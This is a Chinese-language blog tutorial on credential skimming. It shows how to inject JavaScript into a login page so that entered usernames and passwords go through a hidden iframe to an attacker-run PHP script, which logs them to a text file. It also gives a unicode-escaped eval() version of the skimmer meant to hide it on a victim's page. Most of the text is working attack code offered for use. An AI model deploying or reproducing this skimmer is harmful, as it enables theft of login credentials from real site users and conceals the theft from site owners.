原理:在正常的登陆页面,留下一段恶意JS代码,在登陆账号密码的同时会把账号密码悄悄的发送到接收站点。
实验环境:
1、test.html 正常页面
2、test2.php 用来验证账号密码数据的正常页面
3、test3.php 攻击站点用来接收账号密码的页面
4、http://127.0.0.1 你自己的攻击站
正常页面 Test.html
1 2 3 4 5 |
<form action="test2.php" method="POST" id="form"> <input type="text" name="user"> <input type="password" name="pass"> <input type="submit"> </form> |
输入密码,数据提交给test2.php,
现在我们要在test.html里插入一段代码,用JS动态的创建一个iframe,包含表单里账号密码的值再把表单里的值发送到test3.php(恶意接收站点)
代码如下:
1 2 3 4 5 6 7 8 9 10 11 |
<script> form=document.getElementById('form'); //获取form表单 form.onsubmit=function(){ var iframe=document.createElement("iframe"); //创建一个iframe 内联框架 iframe.style.display="none"; //设置内联框架为隐藏模式 alert(form.user.value); //弹出表单里的账号的值 alert(form.pass.value); //弹出表单里密码的值 iframe.src="http://127.0.0.1/test3.php?user="+form.user.value+"=username "+form.pass.value+"=pass"; //对我们的站点发送GET请求,请求中附带着账号密码的数据 document.body.appendChild(iframe); } </script> |
现在来编写用来接收账号密码的test3.php
代码如下:
1 2 3 4 5 6 7 8 9 10 |
<?php $fp=fopen("user.txt", "a+"); //创建一个user.txt文本 $referer="referer=".$_SERVER['HTTP_REFERER']." "; //查看账号密码是从哪个地方发来的 @$user=$_GET['user']; //接收GET请求的账号 @$pass=$_GET['pass']; //接收GET请求的密码 fwrite( $fp, $referer); //将referer 写入到文本里 fwrite( $fp, $user); //将账号 写入到文本里 fwrite( $fp, $pass); //将密码写入到文本里 fwrite( $fp, "\r\n"); //每次写完换行 ?> |
现在我们点击提交查询试试
账号密码弹出
内容:来源URL发送给我们的数据 账号 密码
只要我们把这段代码放到对方的登陆页面,无论他修改什么密码,我们都可以接收到密码。
这段代码这么low,那么我们可以尝试对它进行编码,转码,隐藏起来。
最后的代码就是
1 |
eval("\u0066\u006f\u0072\u006d\u003d\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0067\u0065\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0042\u0079\u0049\u0064\u0028\u0027\u0066\u006f\u0072\u006d\u0027\u0029\u003b\u0066\u006f\u0072\u006d\u002e\u006f\u006e\u0073\u0075\u0062\u006d\u0069\u0074\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0076\u0061\u0072\u0020\u0069\u0066\u0072\u0061\u006d\u0065\u003d\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0028\u0022\u0069\u0066\u0072\u0061\u006d\u0065\u0022\u0029\u003b\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0073\u0074\u0079\u006c\u0065\u002e\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003d\u0022\u006e\u006f\u006e\u0065\u0022\u003b\u0061\u006c\u0065\u0072\u0074\u0028\u0066\u006f\u0072\u006d\u002e\u0075\u0073\u0065\u0072\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u003b\u0061\u006c\u0065\u0072\u0074\u0028\u0066\u006f\u0072\u006d\u002e\u0070\u0061\u0073\u0073\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u003b\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0031\u0032\u0037\u002e\u0030\u002e\u0030\u002e\u0031\u002f\u0074\u0065\u0073\u0074\u0033\u002e\u0070\u0068\u0070\u003f\u0075\u0073\u0065\u0072\u003d\u0022\u002b\u0066\u006f\u0072\u006d\u002e\u0075\u0073\u0065\u0072\u002e\u0076\u0061\u006c\u0075\u0065\u002b\u0022\u003d\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0020\u0020\u0020\u0020\u0022\u002b\u0066\u006f\u0072\u006d\u002e\u0070\u0061\u0073\u0073\u002e\u0076\u0061\u006c\u0075\u0065\u002b\u0022\u003d\u0070\u0061\u0073\u0073\u0022\u003b\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0069\u0066\u0072\u0061\u006d\u0065\u0029\u003b\u007d") |
转换后的代码,把这个代码放到对方任何位置都行,或者外部引用JS代码,放到登陆页面,就能无限的接收密码了。
本文由 安全周 作者:空心 发表,转载请注明来源!
您必须[登录] 才能发表留言!